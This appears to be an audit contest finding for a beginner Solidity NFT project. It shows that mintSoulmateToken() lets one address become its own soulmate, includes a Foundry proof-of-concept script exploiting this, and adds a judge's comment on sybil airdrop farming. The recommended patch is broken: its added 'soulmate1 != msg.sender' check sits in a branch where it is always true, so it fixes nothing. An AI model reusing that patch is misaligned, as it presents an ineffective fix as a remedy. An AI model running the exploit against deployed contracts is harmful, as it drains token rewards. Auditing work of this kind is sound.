Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Doubling mintSoulmateToken() Can Make You Your Own Soulmate

Summary

A vulnerability is present in the mintSoulmateToken() function within the if (soulmate1 == address(0)) { ... } condition. This vulnerability enables a threat actor to conduct sibling attacks on the contract, autonomously minting LoveToken without the need for pairing with legitimate user activity.

Vulnerability Details

The Soulmate.sol:mintSoulmateToken():L70 function fails to verify that the soulmate awaiting in slot idToOwners[nextID][0] is not the msg.sender itself. In fact, it only checks that the slot 0 is not equal to address(0).

Impact

A threat actor can create multiple accounts and designate them as soulmates of themselves without relying on legitimate user activity to acquire funds by minting LoveToken.

Tools Used

Manual review

Proof of Vulnerability

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
import "../lib/forge-std/src/Script.sol";
import {IVault} from "../src/interface/IVault.sol";
import {ISoulmate} from "../src/interface/ISoulmate.sol";
import {ILoveToken} from "../src/interface/ILoveToken.sol";
import {IStaking} from "../src/interface/IStaking.sol";
import {Vault} from "../src/Vault.sol";
import {Soulmate} from "../src/Soulmate.sol";
import {LoveToken} from "../src/LoveToken.sol";
import {Airdrop} from "../src/Airdrop.sol";
import {Staking} from "../src/Staking.sol";
contract Hack is Script {
Soulmate public soulmateContract;
LoveToken public loveToken;
Staking public stakingContract;
Airdrop public airdropContract;
Vault public airdropVault;
Vault public stakingVault;
address deployer = makeAddr("deployer");
function setUp() public {
vm.startPrank(deployer);
airdropVault = new Vault();
stakingVault = new Vault();
soulmateContract = new Soulmate();
loveToken = new LoveToken(
ISoulmate(address(soulmateContract)),
address(airdropVault),
address(stakingVault)
);
stakingContract = new Staking(
ILoveToken(address(loveToken)),
ISoulmate(address(soulmateContract)),
IVault(address(stakingVault))
);
airdropContract = new Airdrop(
ILoveToken(address(loveToken)),
ISoulmate(address(soulmateContract)),
IVault(address(airdropVault))
);
airdropVault.initVault(
ILoveToken(address(loveToken)),
address(airdropContract)
);
stakingVault.initVault(
ILoveToken(address(loveToken)),
address(stakingContract)
);
// init
vm.stopPrank();
}
function run() external {
address alice = makeAddr("alice");
vm.startPrank(alice);
soulmateContract.mintSoulmateToken();
soulmateContract.mintSoulmateToken();
soulmateContract.soulmateOf(alice); // alice is a soulmate of alice
vm.stopPrank();
}
}

We can attest by running the script that alice is a soulmate of alice.

Recommendations

+ if (soulmate1 == address(0) && soulmate1 != msg.sender) {
- if (soulmate1 == address(0)) {
...
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-self-soulmate

- Given the native anonymous nature of blockchain in general, this issue cannot be avoided unless an explicit whitelist is implemented. Even then we can only confirm soulmates are distinct individuals via kyc. I believe finding a soulmate is intended to be permisionless. - However, even though sufficient (500_000_000e18 in each vault) tokens are minted to claim staking and airdrop rewards, it would take 500_000_000 / 2 combined weeks for airdrop vault to be drained which is not unreasonable given there are [80+ million existing wallets](https://coinweb.com/trends/how-many-crypto-wallets-are-there/). Given there is no option to mint new love tokens, this would actually ruin the functionality of the protocol of finding soulmates and shift the focus to abusing a sybil attack to farming airdrops instead. Assigning medium severity for now but am open for appeals otherwise, since most if not all issues lack indepth analysis of the issue.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.